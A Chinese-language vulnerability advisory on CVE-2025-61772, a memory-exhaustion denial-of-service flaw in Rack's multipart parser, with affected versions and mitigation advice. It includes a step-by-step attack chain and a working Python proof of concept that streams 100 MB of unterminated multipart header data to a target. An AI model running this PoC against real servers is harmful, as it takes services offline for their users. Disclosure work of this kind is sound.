IPBUF安全漏洞报告
English
CVE-2025-61772 CVSS 7.5 高危

CVE-2025-61772 Rack::Multipart::Parser内存耗尽拒绝服务漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-61772
漏洞类型
拒绝服务(内存耗尽/DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Rack(Ruby Web服务器接口)

相关标签

拒绝服务DoS内存耗尽RackRubymultipartWeb服务器高危漏洞CVE-2025-61772未经身份验证

漏洞概述

CVE-2025-61772是Rack Web服务器接口中的一个高危拒绝服务(DoS)漏洞,CVSS评分为7.5分。Rack是Ruby生态系统中广泛使用的模块化Web服务器接口,为Ruby Web应用框架(如Rails和Sinatra)提供HTTP请求和响应的处理能力。该漏洞存在于Rack::Multipart::Parser组件中,影响2.2.19、3.1.17和3.2.2之前的所有版本。

漏洞的根本原因在于Rack::Multipart::Parser在解析multipart/form-data格式的HTTP请求时,未对multipart part的header block大小设置上限。当攻击者发送一个multipart part的header block缺少终止标识(CRLFCRLF,即空行)时,解析器会持续将接收到的字节追加到内存中,而不进行任何大小限制检查。这种行为导致内存使用量无界增长,最终耗尽服务器内存资源。

该漏洞的影响范围广泛,所有处理multipart上传的Ruby Web应用都可能受到影响。攻击者可以通过远程方式(无需认证和用户交互)发送精心构造的不完整multipart头部数据,触发服务器内存的大量消耗,导致进程因OOM(Out of Memory)被终止或严重性能下降。由于影响随着请求大小限制和并发量的增加而放大,该漏洞在高流量生产环境中尤其危险。

技术细节

在HTTP协议中,multipart/form-data编码格式用于文件上传等场景。每个multipart part由header block和body两部分组成,header block以一个空行(CRLFCRLF,即\r\n\r\n)作为终止标识,随后才是part的body内容。

Rack::Multipart::Parser在解析multipart数据时,期望找到header block的终止空行(CRLFCRLF)来确定header部分的边界。然而,在2.2.19、3.1.17和3.2.2之前的版本中,该解析器缺少对header block大小的限制检查。具体而言:

1. 当解析器接收到multipart part的header数据但未找到CRLFCRLF终止符时,它会持续将新到达的字节追加到内部缓冲区中;
2. 由于没有设置per-part header的最大尺寸限制(如64 KiB),攻击者可以通过发送大量不包含终止空行的header数据,使缓冲区无限增长;
3. 每个到达的字节都会被分配内存并存储,导致进程内存使用量持续攀升;
4. 最终,系统因内存耗尽触发OOM Killer终止进程,或因频繁的内存分配/垃圾回收导致严重性能下降。

利用方式极为简单:攻击者只需构造一个multipart请求,其中包含一个part的header数据故意不包含CRLFCRLF终止符,并持续发送大量数据。由于攻击向量为网络(AV:N),无需认证(PR:N)和用户交互(UI:N),该漏洞可通过远程方式轻松利用。

修复方案是在Rack::Multipart::Parser中添加per-part header的大小限制(如64 KiB),当header数据超过该限制时抛出异常或拒绝处理,从而防止无界内存消耗。

攻击链分析

STEP 1
步骤1:识别目标
攻击者通过扫描或信息收集,识别运行受影响版本Rack(< 2.2.19, < 3.1.17, < 3.2.2)的Ruby Web应用服务器,特别是接受multipart/form-data上传的端点。
STEP 2
步骤2:构造恶意请求
攻击者构造一个multipart/form-data格式的HTTP POST请求,其中包含一个part的header block故意缺少终止标识CRLFCRLF(空行),使解析器无法确定header部分的边界。
STEP 3
步骤3:发送大量数据
攻击者通过chunked transfer encoding持续向目标服务器发送大量数据。由于Rack::Multipart::Parser缺少per-part header大小限制,所有数据都会被无限制地追加到内存缓冲区中。
STEP 4
步骤4:内存耗尽
随着数据持续到达,服务器进程内存使用量不断攀升,最终触发操作系统OOM Killer终止进程,或导致严重的性能下降和响应延迟。
STEP 5
步骤5:拒绝服务
目标Web应用因进程崩溃或资源耗尽而无法正常提供服务,所有依赖该应用的合法用户均受到影响,实现拒绝服务攻击。攻击效果随请求大小限制和并发量增加而放大。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61772 PoC - Rack::Multipart::Parser Memory Exhaustion DoS # This PoC demonstrates how to trigger unbounded memory consumption # by sending a multipart request with incomplete header block (no CRLFCRLF terminator) import socket import time def send_malicious_multipart(target_host, target_port, target_path="/"): """ Send a multipart/form-data request where the header block never terminates with CRLFCRLF, causing unbounded memory accumulation in vulnerable Rack::Multipart::Parser versions. """ # Construct malicious multipart payload # Note: The boundary is defined, but the part header intentionally # lacks the required blank line (CRLFCRLF) terminator boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" # Build payload with header but no terminating CRLFCRLF payload_start = f"--{boundary}\r\n" payload_start += 'Content-Disposition: form-data; name="file"; filename="test.txt"\r\n' payload_start += 'Content-Type: text/plain\r\n' # Intentionally omit the CRLFCRLF that should terminate the header block # The parser will keep appending data to memory without size cap # Create the socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Send HTTP headers http_headers = ( f"POST {target_path} HTTP/1.1\r\n" f"Host: {target_host}\r\n" f"Content-Type: multipart/form-data; boundary={boundary}\r\n" f"Transfer-Encoding: chunked\r\n" f"Connection: close\r\n" f"\r\n" ) sock.send(http_headers.encode()) sock.send(payload_start.encode()) # Send large amount of data without CRLFCRLF terminator # Each chunk will be appended to memory by the vulnerable parser chunk_size = 1024 # 1KB per chunk total_size = 100 * 1024 * 1024 # Attempt to send 100MB for i in range(0, total_size, chunk_size): # Send data as chunked transfer encoding chunk = "A" * chunk_size chunk_header = f"{chunk_size:x}\r\n" sock.send(chunk_header.encode()) sock.send(chunk.encode()) sock.send(b"\r\n") if i % (10 * 1024 * 1024) == 0: print(f"[*] Sent {i // (1024 * 1024)}MB of malicious data...") time.sleep(0.1) # Small delay to allow memory accumulation # Terminate chunked encoding sock.send(b"0\r\n\r\n") sock.close() print("[+] Payload sent. Target should experience memory exhaustion.") # Usage example # send_malicious_multipart("target-server.com", 80, "/upload")

影响范围

Rack < 2.2.19
Rack 3.1.x < 3.1.17
Rack 3.2.x < 3.2.2

防御指南

临时缓解措施
在无法立即升级Rack版本的情况下,可在反向代理或Web服务器层面限制最大请求大小来缓解此漏洞。例如,在Nginx中配置`client_max_body_size`指令限制请求体大小,在Apache中配置`LimitRequestBody`指令。此外,可以部署WAF规则检测并拦截缺少CRLFCRLF终止符的异常multipart请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表